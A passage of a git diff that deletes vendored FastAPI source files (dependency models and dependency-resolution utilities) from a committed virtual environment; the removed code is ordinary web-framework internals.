__bool__(self) -> bool: - return bool(self.value) - - def __eq__(self, o: object) -> bool: - return isinstance(o, DefaultPlaceholder) and o.value == self.value - - -DefaultType = TypeVar("DefaultType") - - -def Default(value: DefaultType) -> DefaultType: - """ - You shouldn't use this function directly. - - It's used internally to recognize when a default value has been overwritten, even - if the overridden default value was truthy. - """ - return DefaultPlaceholder(value) # type: ignore - - -# Sentinel for "parameter not provided" in Param/FieldInfo. -# Typed as None to satisfy ty -_Unset = Default(None) diff --git a/venv/Lib/site-packages/fastapi/dependencies/__init__.py b/venv/Lib/site-packages/fastapi/dependencies/__init__.py deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/fastapi/dependencies/models.py b/venv/Lib/site-packages/fastapi/dependencies/models.py deleted file mode 100644 index 5c7cbc82ba12e30d18887f170ca1704b59c8f915..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/dependencies/models.py +++ /dev/null @@ -1,234 +0,0 @@ -import inspect -import sys -from collections.abc import Callable -from dataclasses import dataclass, field -from functools import lru_cache, partial -from typing import Any, Literal - -from fastapi._compat import ModelField -from fastapi.security.base import SecurityBase -from fastapi.types import DependencyCacheKey - -if sys.version_info >= (3, 13): # pragma: no cover - from inspect import iscoroutinefunction -else: # pragma: no cover - from asyncio import iscoroutinefunction - - -def _unwrapped_call(call: Callable[..., Any] | None) -> Any: - if call is None: - return call # pragma: no cover - unwrapped = inspect.unwrap(_impartial(call)) - return unwrapped - - -def _impartial(func: Callable[..., Any]) -> Callable[..., Any]: - while isinstance(func, partial): - func = func.func - return func - - -@dataclass(slots=True) -class Dependant: - path_params: list[ModelField] = field(default_factory=list) - query_params: list[ModelField] = field(default_factory=list) - header_params: list[ModelField] = field(default_factory=list) - cookie_params: list[ModelField] = field(default_factory=list) - body_params: list[ModelField] = field(default_factory=list) - dependencies: list["Dependant"] = field(default_factory=list) - name: str | None = None - call: Callable[..., Any] | None = None - request_param_name: str | None = None - websocket_param_name: str | None = None - http_connection_param_name: str | None = None - response_param_name: str | None = None - background_tasks_param_name: str | None = None - security_scopes_param_name: str | None = None - own_oauth_scopes: list[str] | None = None - parent_oauth_scopes: list[str] | None = None - use_cache: bool = True - path: str | None = None - scope: Literal["function", "request"] | None = None - - -_UsesScopesCache = dict[int, tuple[Dependant, bool]] -_CALLABLE_CLASSIFICATION_CACHE_SIZE = 4096 - - -class _CallIdentity: - __slots__ = ("call",) - - def __init__(self, call: Callable[..., Any]) -> None: - self.call = call - - def __hash__(self) -> int: - return id(self.call) - - def __eq__(self, other: object) -> bool: - return isinstance(other, _CallIdentity) and self.call is other.call - - -def _get_oauth_scopes(*, dependant: Dependant) -> list[str]: - scopes = ( - dependant.parent_oauth_scopes.copy() if dependant.parent_oauth_scopes else [] - ) - # This doesn't use a set to preserve order, just in case - for scope in dependant.own_oauth_scopes or []: - if scope not in scopes: - scopes.append(scope) - return scopes - - -def _get_cache_key( - *, - dependant: Dependant, - uses_scopes_cache: _UsesScopesCache | None = None, -) -> DependencyCacheKey: - scopes_for_cache = ( - tuple(sorted(set(_get_oauth_scopes(dependant=dependant)))) - if _uses_scopes(dependant=dependant, cache=uses_scopes_cache) - else () - ) - return ( - dependant.call, - scopes_for_cache, - _get_computed_scope(dependant=dependant) or "", - ) - - -def _uses_scopes( - *, dependant: Dependant, cache: _UsesScopesCache | None = None -) -> bool: - if cache is None: - cache = {} - cache_key = id(dependant) - cached = cache.get(cache_key) - if cached is not None and cached[0] is dependant: - return cached[1] - if dependant.own_oauth_scopes: - result = True - elif dependant.security_scopes_param_name is not None: - result = True - elif _is_security_scheme(dependant=dependant): - result = True - else: - result = any( - _uses_scopes(dependant=sub_dep, cache=cache) - for sub_dep in dependant.dependencies - ) - cache[cache_key] = (dependant, result) - return result - - -def _is_security_scheme(*, dependant: Dependant) -> bool: - if dependant.call is None: - return False # pragma: no cover - unwrapped = _unwrapped_call(dependant.call) - return isinstance(unwrapped, SecurityBase) - - -def _get_security_scheme(*, dependant: Dependant) -> SecurityBase: - # Mainly to get the type of SecurityBase, but it's the same dependant.call - unwrapped = _unwrapped_call(dependant.call) - assert isinstance(unwrapped, SecurityBase) - return unwrapped - - -@lru_cache(maxsize=_CALLABLE_CLASSIFICATION_CACHE_SIZE) -def _is_gen_callable_cached(call_identity: _CallIdentity) -> bool: - call = call_identity.call - if inspect.isgeneratorfunction(_impartial(call)) or inspect.isgeneratorfunction( - _unwrapped_call(call) - ): - return True - if inspect.isclass(_unwrapped_call(call)): - return False - dunder_call = getattr(_impartial(call), "__call__", None) # noqa: B004 - if dunder_call is None: - return False # pragma: no cover - if inspect.isgeneratorfunction( - _impartial(dunder_call) - ) or inspect.isgeneratorfunction(_unwrapped_call(dunder_call)): - return True - dunder_unwrapped_call = getattr(_unwrapped_call(call), "__call__", None) # noqa: B004 - if dunder_unwrapped_call is None: - return False # pragma: no cover - return inspect.isgeneratorfunction( - _impartial(dunder_unwrapped_call) - ) or inspect.isgeneratorfunction(_unwrapped_call(dunder_unwrapped_call)) - - -def _is_gen_callable(call: Callable[..., Any] | None) -> bool: - if call is None: - return False # pragma: no cover - return _is_gen_callable_cached(_CallIdentity(call)) - - -@lru_cache(maxsize=_CALLABLE_CLASSIFICATION_CACHE_SIZE) -def _is_async_gen_callable_cached(call_identity: _CallIdentity) -> bool: - call = call_identity.call - if inspect.isasyncgenfunction(_impartial(call)) or inspect.isasyncgenfunction( - _unwrapped_call(call) - ): - return True - if inspect.isclass(_unwrapped_call(call)): - return False - dunder_call = getattr(_impartial(call), "__call__", None) # noqa: B004 - if dunder_call is None: - return False # pragma: no cover - if inspect.isasyncgenfunction( - _impartial(dunder_call) - ) or inspect.isasyncgenfunction(_unwrapped_call(dunder_call)): - return True - dunder_unwrapped_call = getattr(_unwrapped_call(call), "__call__", None) # noqa: B004 - if dunder_unwrapped_call is None: - return False # pragma: no cover - return inspect.isasyncgenfunction( - _impartial(dunder_unwrapped_call) - ) or inspect.isasyncgenfunction(_unwrapped_call(dunder_unwrapped_call)) - - -def _is_async_gen_callable(call: Callable[..., Any] | None) -> bool: - if call is None: - return False # pragma: no cover - return _is_async_gen_callable_cached(_CallIdentity(call)) - - -@lru_cache(maxsize=_CALLABLE_CLASSIFICATION_CACHE_SIZE) -def _is_coroutine_callable_cached(call_identity: _CallIdentity) -> bool: - call = call_identity.call - if inspect.isroutine(_impartial(call)) and iscoroutinefunction(_impartial(call)): - return True - if inspect.isroutine(_unwrapped_call(call)) and iscoroutinefunction( - _unwrapped_call(call) - ): - return True - if inspect.isclass(_unwrapped_call(call)): - return False - dunder_call = getattr(_impartial(call), "__call__", None) # noqa: B004 - if dunder_call is None: - return False # pragma: no cover - if iscoroutinefunction(_impartial(dunder_call)) or iscoroutinefunction( - _unwrapped_call(dunder_call) - ): - return True - dunder_unwrapped_call = getattr(_unwrapped_call(call), "__call__", None) # noqa: B004 - if dunder_unwrapped_call is None: - return False # pragma: no cover - return iscoroutinefunction( - _impartial(dunder_unwrapped_call) - ) or iscoroutinefunction(_unwrapped_call(dunder_unwrapped_call)) - - -def _is_coroutine_callable(call: Callable[..., Any] | None) -> bool: - if call is None: - return False # pragma: no cover - return _is_coroutine_callable_cached(_CallIdentity(call)) - - -def _get_computed_scope(*, dependant: Dependant) -> str | None: - if dependant.scope: - return dependant.scope - if _is_gen_callable(dependant.call) or _is_async_gen_callable(dependant.call): - return "request" - return None diff --git a/venv/Lib/site-packages/fastapi/dependencies/utils.py b/venv/Lib/site-packages/fastapi/dependencies/utils.py deleted file mode 100644 index 01820e6a4cf477a22fffeaad1b308489d6a4a0a8..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/dependencies/utils.py +++ /dev/null @@ -1,1053 +0,0 @@ -import dataclasses -import inspect -import sys -from collections.abc import ( - AsyncGenerator, - AsyncIterable, - AsyncIterator, - Callable, - Generator, - Iterable, - Iterator, - Mapping, - Sequence, -) -from contextlib import AsyncExitStack, contextmanager -from copy import copy, deepcopy -from dataclasses import dataclass -from typing import ( - Annotated, - Any, - ForwardRef, - Literal, - Union, - cast, - get_args, - get_origin, -) - -from fastapi import params -from fastapi._compat import ( - ModelField, - RequiredParam, - Undefined, - copy_field_info, - create_body_model, - evaluate_forwardref, - field_annotation_is_scalar, - field_annotation_is_scalar_sequence, - field_annotation_is_sequence, - get_cached_model_fields, - get_missing_field_error, - is_bytes_or_nonable_bytes_annotation, - is_bytes_sequence_annotation, - is_scalar_field, - is_uploadfile_or_nonable_uploadfile_annotation, - is_uploadfile_sequence_annotation, - lenient_issubclass, - sequence_types, - serialize_sequence_value, - value_is_sequence, -) -from fastapi.background import BackgroundTasks -from fastapi.concurrency import ( - asynccontextmanager, - contextmanager_in_threadpool, -) -from fastapi.dependencies.models import ( - Dependant, - _get_cache_key, - _get_computed_scope, - _get_oauth_scopes, - _is_async_gen_callable, - _is_coroutine_callable, - _is_gen_callable, - _UsesScopesCache, -) -from fastapi.exceptions import DependencyScopeError -from fastapi.logger import logger -from fastapi.security.oauth2 import SecurityScopes -from fastapi.types import DependencyCacheKey -from fastapi.utils import create_model_field, get_path_param_names -from pydantic import BaseModel, Json -from pydantic.fields import FieldInfo -from starlette.background import BackgroundTasks as StarletteBackgroundTasks -from starlette.concurrency import run_in_threadpool -from starlette.datastructures import ( - FormData, - Headers, - ImmutableMultiDict, - QueryParams, - UploadFile, -) -from starlette.requests import HTTPConnection, Request -from starlette.responses import Response -from starlette.websockets import WebSocket -from typing_inspection.typing_objects import is_typealiastype - -multipart_not_installed_error = ( - 'Form data requires "python-multipart" to be installed. \n' - 'You can install "python-multipart" with: \n\n' - "pip install python-multipart\n" -) -multipart_incorrect_install_error = ( - 'Form data requires "python-multipart" to be installed. ' - 'It seems you installed "multipart" instead. \n' - 'You can remove "multipart" with: \n\n' - "pip uninstall multipart\n\n" - 'And then install "python-multipart" with: \n\n' - "pip install python-multipart\n" -) - - -def ensure_multipart_is_installed() -> None: - try: - from python_multipart import __version__ - - # Import an attribute that can be mocked/deleted in testing - assert __version__ > "0.0.12" - except (ImportError, AssertionError): - try: - # __version__ is available in both multiparts, and can be mocked - from multipart import ( # type: ignore[no-redef,import-untyped] - __version__, - ) - - assert __version__ - try: - # parse_options_header is only available in the right multipart - from multipart.multipart import ( # type: ignore[import-untyped] - parse_options_header, - ) - - assert parse_options_header - except ImportError: - logger.error(multipart_incorrect_install_error) - raise RuntimeError(multipart_incorrect_install_error) from None - except ImportError: - logger.error(multipart_not_installed_error) - raise RuntimeError(multipart_not_installed_error) from None - - -def get_parameterless_sub_dependant(*, depends: params.Depends, path: str) -> Dependant: - assert callable(depends.dependency), ( - "A parameter-less dependency must have a callable dependency" - ) - own_oauth_scopes: list[str] = [] - if isinstance(depends, params.Security) and depends.scopes: - own_oauth_scopes.extend(depends.scopes) - return get_dependant( - path=path, - call=depends.dependency, - scope=depends.scope, - own_oauth_scopes=own_oauth_scopes, - ) - - -def _get_flat_body_params(dependant: Dependant) -> list[ModelField]: - body_params: list[ModelField] = [] - dependants = [dependant] - while dependants: - current_dependant = dependants.pop() - body_params.extend(current_dependant.body_params) - dependants.extend(reversed(current_dependant.dependencies)) - return body_params - - -def _get_flat_fields_from_params(fields: list[ModelField]) -> list[ModelField]: - if not fields: - return fields - first_field = fields[0] - if len(fields) == 1 and lenient_issubclass( - first_field.field_info.annotation, BaseModel - ): - fields_to_extract = get_cached_model_fields(first_field.field_info.annotation) - return fields_to_extract - return fields - - -def get_flat_params(dependant: Dependant) -> list[ModelField]: - path_params: list[ModelField] = [] - query_params: list[ModelField] = [] - header_params: list[ModelField] = [] - cookie_params: list[ModelField] = [] - visited: list[DependencyCacheKey] = [] - uses_scopes_cache: _UsesScopesCache = {} - dependants = [dependant] - while dependants: - current_dependant = dependants.pop() - cache_key = _get_cache_key( - dependant=current_dependant, - uses_scopes_cache=uses_scopes_cache, - ) - if cache_key in visited: - continue - visited.append(cache_key) - path_params.extend(current_dependant.path_params) - query_params.extend(current_dependant.query_params) - header_params.extend(current_dependant.header_params) - cookie_params.extend(current_dependant.cookie_params) - dependants.extend(reversed(current_dependant.dependencies)) - path_params = _get_flat_fields_from_params(path_params) - query_params = _get_flat_fields_from_params(query_params) - header_params = _get_flat_fields_from_params(header_params) - cookie_params = _get_flat_fields_from_params(cookie_params) - return path_params + query_params + header_params + cookie_params - - -def _get_signature(call: Callable[..., Any]) -> inspect.Signature: - try: - signature = inspect.signature(call, eval_str=True) - except NameError: - # Handle type annotations with if TYPE_CHECKING, not used by FastAPI - # e.g. dependency return types - if sys.version_info >= (3, 14): - from annotationlib import Format - - signature = inspect.signature(call, annotation_format=Format.FORWARDREF) - else: - signature = inspect.signature(call) - return signature - - -def get_typed_signature(call: Callable[..., Any]) -> inspect.Signature: - signature = _get_signature(call) - unwrapped = inspect.unwrap(call) - globalns = getattr(unwrapped, "__globals__", {}) - typed_params = [ - inspect.Parameter( - name=param.name, - kind=param.kind, - default=param.default, - annotation=get_typed_annotation(param.annotation, globalns), - ) - for param in signature.parameters.values() - ] - typed_signature = inspect.Signature(typed_params) - return typed_signature - - -def get_typed_annotation(annotation: Any, globalns: dict[str, Any]) -> Any: - if isinstance(annotation, str): - annotation = ForwardRef(annotation) - annotation = evaluate_forwardref(annotation, globalns, globalns) - if annotation is type(None): - return None - return annotation - - -def get_typed_return_annotation(call: Callable[..., Any]) -> Any: - signature = _get_signature(call) - unwrapped = inspect.unwrap(call) - annotation = signature.return_annotation - - if annotation is inspect.Signature.empty: - return None - - globalns = getattr(unwrapped, "__globals__", {}) - return get_typed_annotation(annotation, globalns) - - -_STREAM_ORIGINS = { - AsyncIterable, - AsyncIterator, - AsyncGenerator, - Iterable, - Iterator, - Generator, -} - - -def get_stream_item_type(annotation: Any) -> Any | None: - origin = get_origin(annotation) - if origin is not None and origin in _STREAM_ORIGINS: - type_args = get_args(annotation) - if type_args: - return type_args[0] - return Any - return None - - -def get_dependant( - *, - path: str, - call: Callable[..., Any], - name: str | None = None, - own_oauth_scopes: list[str] | None = None, - parent_oauth_scopes: list[str] | None = None, - use_cache: bool = True, - scope: Literal["function", "request"] | None = None, -) -> Dependant: - dependant = Dependant( - call=call, - name=name, - path=path, - use_cache=use_cache, - scope=scope, - own_oauth_scopes=own_oauth_scopes, - parent_oauth_scopes=parent_oauth_scopes, - ) - current_scopes = (parent_oauth_scopes or []) + (own_oauth_scopes or []) - path_param_names = get_path_param_names(path) - endpoint_signature = get_typed_signature(call) - signature_params = endpoint_signature.parameters - for param_name, param in signature_params.items(): - is_path_param = param_name in path_param_names - param_details = analyze_param( - param_name=param_name, - annotation=param.annotation, - value=param.default, - is_path_param=is_path_param, - ) - if param_details.depends is not None: - assert param_details.depends.dependency - if ( - ( - _is_gen_callable(dependant.call) - or _is_async_gen_callable(dependant.call) - ) - and _get_computed_scope(dependant=dependant) == "request" - and param_details.depends.scope == "function" - ): - assert dependant.call - call_name = getattr(dependant.call, "__name__", "") - raise DependencyScopeError( - f'The dependency "{call_name}" has a scope of ' - '"request", it cannot depend on dependencies with scope "function".' - ) - sub_own_oauth_scopes: list[str] = [] - if isinstance(param_details.depends, params.Security): - if param_details.depends.scopes: - sub_own_oauth_scopes = list(param_details.depends.scopes) - sub_dependant = get_dependant( - path=path, - call=param_details.depends.dependency, - name=param_name, - own_oauth_scopes=sub_own_oauth_scopes, - parent_oauth_scopes=current_scopes, - use_cache=param_details.depends.use_cache, - scope=param_details.depends.scope, - ) - dependant.dependencies.append(sub_dependant) - continue - if add_non_field_param_to_dependency( - param_name=param_name, - type_annotation=param_details.type_annotation, - dependant=dependant, - ): - assert param_details.field is None, ( - f"Cannot specify multiple FastAPI annotations for {param_name!r}" - ) - continue - assert param_details.field is not None - if isinstance(param_details.field.field_info, params.Body): - dependant.body_params.append(param_details.field) - else: - add_param_to_fields(field=param_details.field, dependant=dependant) - return dependant - - -def add_non_field_param_to_dependency( - *, param_name: str, type_annotation: Any, dependant: Dependant -) -> bool | None: - if lenient_issubclass(type_annotation, Request): - dependant.request_param_name = param_name - return True - elif lenient_issubclass(type_annotation, WebSocket): - dependant.websocket_param_name = param_name - return True - elif lenient_issubclass(type_annotation, HTTPConnection): - dependant.http_connection_param_name = param_name - return True - elif lenient_issubclass(type_annotation, Response): - dependant.response_param_name = param_name - return True - elif lenient_issubclass(type_annotation, StarletteBackgroundTasks): - dependant.background_tasks_param_name = param_name - return True - elif lenient_issubclass(type_annotation, SecurityScopes): - dependant.security_scopes_param_name = param_name - return True - return None - - -@dataclass -class ParamDetails: - type_annotation: Any - depends: params.Depends | None - field: ModelField | None - - -def analyze_param( - *, - param_name: str, - annotation: Any, - value: Any, - is_path_param: bool, -) -> ParamDetails: - field_info = None - depends = None - type_annotation: Any = Any - use_annotation: Any = Any - if is_typealiastype(annotation): - # unpack in case PEP 695 type syntax is used - annotation = annotation.__value__ - if annotation is not inspect.Signature.empty: - use_annotation = annotation - type_annotation = annotation - # Extract Annotated info - if get_origin(use_annotation) is Annotated: - annotated_args = get_args(annotation) - type_annotation = annotated_args[0] - fastapi_annotations = [ - arg - for arg in annotated_args[1:] - if isinstance(arg, (FieldInfo, params.Depends)) - ] - fastapi_specific_annotations = [ - arg - for arg in fastapi_annotations - if isinstance( - arg, - ( - params.Param, - params.Body, - params.Depends, - ), - ) - ] - if fastapi_specific_annotations: - fastapi_annotation: FieldInfo | params.Depends | None = ( - fastapi_specific_annotations[-1] - ) - else: - fastapi_annotation = None - # Set default for Annotated FieldInfo - if isinstance(fastapi_annotation, FieldInfo): - # Copy `field_info` because we mutate `field_info.default` below. - field_info = copy_field_info( - field_info=fastapi_annotation, - annotation=use_annotation, - ) - assert ( - field_info.default == Undefined or field_info.default == RequiredParam - ), ( - f"`{field_info.__class__.__name__}` default value cannot be set in" - f" `Annotated` for {param_name!r}. Set the default value with `=` instead." - ) - if value is not inspect.Signature.empty: - assert not is_path_param, "Path parameters cannot have default values" - field_info.default = value - else: - field_info.default = RequiredParam - # Get Annotated Depends - elif isinstance(fastapi_annotation, params.Depends): - depends = fastapi_annotation - # Get Depends from default value - if isinstance(value, params.Depends): - assert depends is None, ( - "Cannot specify `Depends` in `Annotated` and default value" - f" together for {param_name!r}" - ) - assert field_info is None, ( - "Cannot specify a FastAPI annotation in `Annotated` and `Depends` as a" - f" default value together for {param_name!r}" - ) - depends = value - # Get FieldInfo from default value - elif isinstance(value, FieldInfo): - assert field_info is None, ( - "Cannot specify FastAPI annotations in `Annotated` and default value" - f" together for {param_name!r}" - ) - field_info = value - if isinstance(field_info, FieldInfo): - field_info.annotation = type_annotation - - # Get Depends from type annotation - if depends is not None and depends.dependency is None: - # Copy `depends` before mutating it - depends = copy(depends) - depends = dataclasses.replace(depends, dependency=type_annotation) - - # Handle non-param type annotations like Request - # Only apply special handling when there's no explicit Depends - if there's a Depends, - # the dependency will be called and its return value used instead of the special injection - if depends is None and lenient_issubclass( - type_annotation, - ( - Request, - WebSocket, - HTTPConnection, - Response, - StarletteBackgroundTasks, - SecurityScopes, - ), - ): - assert field_info is None, ( - f"Cannot specify FastAPI annotation for type {type_annotation!r}" - ) - # Handle default assignations, neither field_info nor depends was not found in Annotated nor default value - elif field_info is None and depends is None: - default_value = value if value is not inspect.Signature.empty else RequiredParam - if is_path_param: - # We might check here that `default_value is RequiredParam`, but the fact is that the same - # parameter might sometimes be a path parameter and sometimes not. See - # `tests/test_infer_param_optionality.py` for an example. - field_info = params.Path(annotation=use_annotation) - elif is_uploadfile_or_nonable_uploadfile_annotation( - type_annotation - ) or is_uploadfile_sequence_annotation(type_annotation): - field_info = params.File(annotation=use_annotation, default=default_value) - elif not field_annotation_is_scalar(annotation=type_annotation): - field_info = params.Body(annotation=use_annotation, default=default_value) - else: - field_info = params.Query(annotation=use_annotation, default=default_value) - - field = None - # It's a field_info, not a dependency - if field_info is not None: - # Handle field_info.in_ - if is_path_param: - assert isinstance(field_info, params.Path), ( - f"Cannot use `{field_info.__class__.__name__}` for path param" - f" {param_name!r}" - ) - elif ( - isinstance(field_info, params.Param) - and getattr(field_info, "in_", None) is None - ): - field_info.in_ = params.ParamTypes.query - use_annotation_from_field_info = use_annotation - if isinstance(field_info, params.Form): - ensure_multipart_is_installed() - if not field_info.alias and getattr(field_info, "convert_underscores", None): - alias = param_name.replace("_", "-") - else: - alias = field_info.alias or param_name - field_info.alias = alias - field = create_model_field( - name=param_name, - type_=use_annotation_from_field_info, - default=field_info.default, - alias=alias, - field_info=field_info, - ) - if is_path_param: - assert is_scalar_field(field=field), ( - "Path params must be of one of the supported types" - ) - elif isinstance(field_info, params.Query): - assert ( - is_scalar_field(field) - or field_annotation_is_scalar_sequence(field.field_info.annotation) - or lenient_issubclass(field.field_info.annotation, BaseModel) - ), f"Query parameter {param_name!r} must be one of the supported types" - - return ParamDetails(type_annotation=type_annotation, depends=depends, field=field) - - -def add_param_to_fields(*, field: ModelField, dependant: Dependant) -> None: - field_info = field.field_info - field_info_in = getattr(field_info, "in_", None) - if field_info_in == params.ParamTypes.path: - dependant.path_params.append(field) - elif field_info_in == params.ParamTypes.query: - dependant.query_params.append(field) - elif field_info_in == params.ParamTypes.header: - dependant.header_params.append(field) - else: - assert field_info_in == params.ParamTypes.cookie, ( - f"non-body parameters must be in path, query, header or cookie: {field.name}" - ) - dependant.cookie_params.append(field) - - -async def _solve_generator( - *, dependant: Dependant, stack: AsyncExitStack, sub_values: dict[str, Any] -) -> Any: - assert dependant.call - if _is_async_gen_callable(dependant.call): - cm = asynccontextmanager(dependant.call)(**sub_values) - elif _is_gen_callable(dependant.call): - cm = contextmanager_in_threadpool(contextmanager(dependant.call)(**sub_values)) - return await stack.enter_async_context(cm) - - -@dataclass -class SolvedDependency: - values: dict[str, Any] - errors: list[Any] - background_tasks: StarletteBackgroundTasks | None - response: Response - dependency_cache: dict[DependencyCacheKey, Any] - - -async def solve_dependencies( - *, - request: Request | WebSocket, - dependant: Dependant, - body: dict[str, Any] | FormData | bytes | None = None, - background_tasks: StarletteBackgroundTasks | None = None, - response: Response | None = None, - dependency_overrides_provider: Any | None = None, - dependency_cache: dict[DependencyCacheKey, Any] | None = None, - # TODO: remove this parameter later, no longer used, not removing it yet as some - # people might be monkey patching this function (although that's not supported) - async_exit_stack: AsyncExitStack, - embed_body_fields: bool, - _uses_scopes_cache: _UsesScopesCache | None = None, -) -> SolvedDependency: - request_astack = request.scope.get("fastapi_inner_astack") - assert isinstance(request_astack, AsyncExitStack), ( - "fastapi_inner_astack not found in request scope" - ) - function_astack = request.scope.get("fastapi_function_astack") - assert isinstance(function_astack, AsyncExitStack), ( - "fastapi_function_astack not found in request scope" - ) - values: dict[str, Any] = {} - errors: list[Any] = [] - if response is None: - response = Response() - del response.headers["content-length"] - response.status_code = None # type: ignore - if dependency_cache is None: - dependency_cache = {} - if _uses_scopes_cache is None: - _uses_scopes_cache = {} - for sub_dependant in dependant.dependencies: - sub_dependant.call = cast(Callable[..., Any], sub_dependant.call) - call = sub_dependant.call - use_sub_dependant = sub_dependant - if ( - dependency_overrides_provider - and dependency_overrides_provider.dependency_overrides - ): - original_call = sub_dependant.call - call = getattr( - dependency_overrides_provider, "dependency_overrides", {} - ).get(original_call, original_call) - use_path: str = sub_dependant.path # type: ignore - use_sub_dependant = get_dependant( - path=use_path, - call=call, - name=sub_dependant.name, - parent_oauth_scopes=_get_oauth_scopes(dependant=sub_dependant), - scope=sub_dependant.scope, - ) - - solved_result = await solve_dependencies( - request=request, - dependant=use_sub_dependant, - body=body, - background_tasks=background_tasks, - response=response, - dependency_overrides_provider=dependency_overrides_provider, - dependency_cache=dependency_cache, - async_exit_stack=async_exit_stack, - embed_body_fields=embed_body_fields, - _uses_scopes_cache=_uses_scopes_cache, - ) - background_tasks = solved_result.background_tasks - if solved_result.errors: - errors.extend(solved_result.errors) - continue - sub_dependant_cache_key = _get_cache_key( - dependant=sub_dependant, - uses_scopes_cache=_uses_scopes_cache, - ) - if sub_dependant.use_cache and sub_dependant_cache_key in dependency_cache: - solved = dependency_cache[sub_dependant_cache_key] - elif _is_gen_callable(use_sub_dependant.call) or _is_async_gen_callable( - use_sub_dependant.call - ): - use_astack = request_astack - if sub_dependant.scope == "function": - use_astack = function_astack - solved = await _solve_generator( - dependant=use_sub_dependant, - stack=use_astack, - sub_values=solved_result.values, - ) - elif _is_coroutine_callable(use_sub_dependant.call): - solved = await call(**solved_result.values) - else: - solved = await run_in_threadpool(call, **solved_result.values) - if sub_dependant.name is not None: - values[sub_dependant.name] = solved - if sub_dependant_cache_key not in dependency_cache: - dependency_cache[sub_dependant_cache_key] = solved - path_values, path_errors = request_params_to_args( - dependant.path_params, request.path_params - ) - query_values, query_errors = request_params_to_args( - dependant.query_params, request.query_params - ) - header_values, header_errors = request_params_to_args( - dependant.header_params, request.headers - ) - cookie_values, cookie_errors = request_params_to_args( - dependant.cookie_params, request.cookies - ) - values.update(path_values) - values.update(query_values) - values.update(header_values) - values.update(cookie_values) - errors += path_errors + query_errors + header_errors + cookie_errors - if dependant.body_params: - ( - body_values, - body_errors, - ) = await request_body_to_args( # body_params checked above - body_fields=dependant.body_params, - received_body=body, - embed_body_fields=embed_body_fields, - ) - values.update(body_values) - errors.extend(body_errors) - if dependant.http_connection_param_name: - values[dependant.http_connection_param_name] = request - if dependant.request_param_name and isinstance(request, Request): - values[dependant.request_param_name] = request - elif dependant.websocket_param_name and isinstance(request, WebSocket): - values[dependant.websocket_param_name] = request - if dependant.background_tasks_param_name: - if background_tasks is None: - background_tasks = BackgroundTasks() - values[dependant.background_tasks_param_name] = background_tasks - if dependant.response_param_name: - values[dependant.response_param_name] = response - if dependant.security_scopes_param_name: - values[dependant.security_scopes_param_name] = SecurityScopes( - scopes=_get_oauth_scopes(dependant=dependant) - ) - return SolvedDependency( - values=values, - errors=errors, - background_tasks=background_tasks, - response=response, - dependency_cache=dependency_cache, - ) - - -def _validate_value_with_model_field( - *, field: ModelField, value: Any, values: dict[str, Any], loc: tuple[str, ...] -) -> tuple[Any, list[Any]]: - if value is None: - if field.field_info.is_required(): - return None, [get_missing_field_error(loc=loc)] - else: - return deepcopy(field.default), [] - return field.validate(value, values, loc=loc) - - -def _is_json_field(field: ModelField) -> bool: - return any(type(item) is Json for item in field.field_info.metadata) - - -def _get_multidict_value( - field: ModelField, values: Mapping[str, Any], alias: str | None = None -) -> Any: - alias = alias or get_validation_alias(field) - if ( - (not _is_json_field(field)) - and field_annotation_is_sequence(field.field_info.annotation) - and isinstance(values, (ImmutableMultiDict, Headers)) - ): - value = values.getlist(alias) - else: - value = values.get(alias, None) - if ( - value is None - or ( - isinstance(field.field_info, params.Form) - and isinstance(value, str) # For type checks - and value == "" - ) - or ( - field_annotation_is_sequence(field.field_info.annotation) - and len(value) == 0 - ) - ): - if field.field_info.is_required(): - return - else: - return deepcopy(field.default) - return value - - -def request_params_to_args( - fields: Sequence[ModelField], - received_params: Mapping[str, Any] | QueryParams | Headers, -) -> tuple[dict[str, Any], list[Any]]: - values: dict[str, Any] = {} - errors: list[dict[str, Any]] = [] - - if not fields: - return values, errors - - first_field = fields[0] - fields_to_extract = fields - single_not_embedded_field = False - default_convert_underscores = True - if len(fields) == 1 and lenient_issubclass( - first_field.field_info.annotation, BaseModel - ): - fields_to_extract = get_cached_model_fields(first_field.field_info.annotation) - single_not_embedded_field = True - # If headers are in a Pydantic model, the way to disable convert_underscores - # would be with Header(convert_underscores=False) at the Pydantic model level - default_convert_underscores = getattr( - first_field.field_info, "convert_underscores", True - ) - - params_to_process: dict[str, Any] = {} - - processed_keys = set() - - for field in fields_to_extract: - alias = None - if isinstance(received_params, Headers): - # Handle fields extracted from a Pydantic Model for a header, each field - # doesn't have a FieldInfo of type Header with the default convert_underscores=True - convert_underscores = getattr( - field.field_info, "convert_underscores", default_convert_underscores - ) - if convert_underscores: - alias = get_validation_alias(field) - if alias == field.name: - alias = alias.replace("_", "-") - value = _get_multidict_value(field, received_params, alias=alias) - if value is not None: - params_to_process[get_validation_alias(field)] = value - processed_keys.add(alias or get_validation_alias(field)) - # For headers with convert_underscores=True, mark both the converted - # header name and the original field alias as processed to avoid - # accepting the original alias as an extra header. - processed_keys.add(get_validation_alias(field)) - - for key in received_params.keys(): - if key not in processed_keys: - if isinstance(received_params, (ImmutableMultiDict, Headers)): - value = received_params.getlist(key) - if isinstance(value, list) and (len(value) == 1): - params_to_process[key] = value[0] - else: - params_to_process[key] = value - else: - params_to_process[key] = received_params.get(key) - - if single_not_embedded_field: - field_info = first_field.field_info - assert isinstance(field_info, params.Param), ( - "Params must be subclasses of Param" - ) - loc: tuple[str, ...] = (field_info.in_.value,) - v_, errors_ = _validate_value_with_model_field( - field=first_field, value=params_to_process, values=values, loc=loc - ) - return {first_field.name: v_}, errors_ - - for field in fields: - value = _get_multidict_value(field, received_params) - field_info = field.field_info - assert isinstance(field_info, params.Param), ( - "Params must be subclasses of Param" - ) - loc = (field_info.in_.value, get_validation_alias(field)) - v_, errors_ = _validate_value_with_model_field( - field=field, value=value, values=values, loc=loc - ) - if errors_: - errors.extend(errors_) - else: - values[field.name] = v_ - return values, errors - - -def is_union_of_base_models(field_type: Any) -> bool: - """Check if field type is a Union where all members are BaseModel subclasses.""" - from fastapi.types import UnionType - - origin = get_origin(field_type) - - # Check if it's a Union type (covers both typing.Union and types.UnionType in Python 3.10+) - if origin is not Union and origin is not UnionType: - return False - - union_args = get_args(field_type) - - for arg in union_args: - if not lenient_issubclass(arg, BaseModel): - return False - - return True - - -def _should_embed_body_fields(fields: list[ModelField]) -> bool: - if not fields: - return False - # More than one dependency could have the same field, it would show up as multiple - # fields but it's 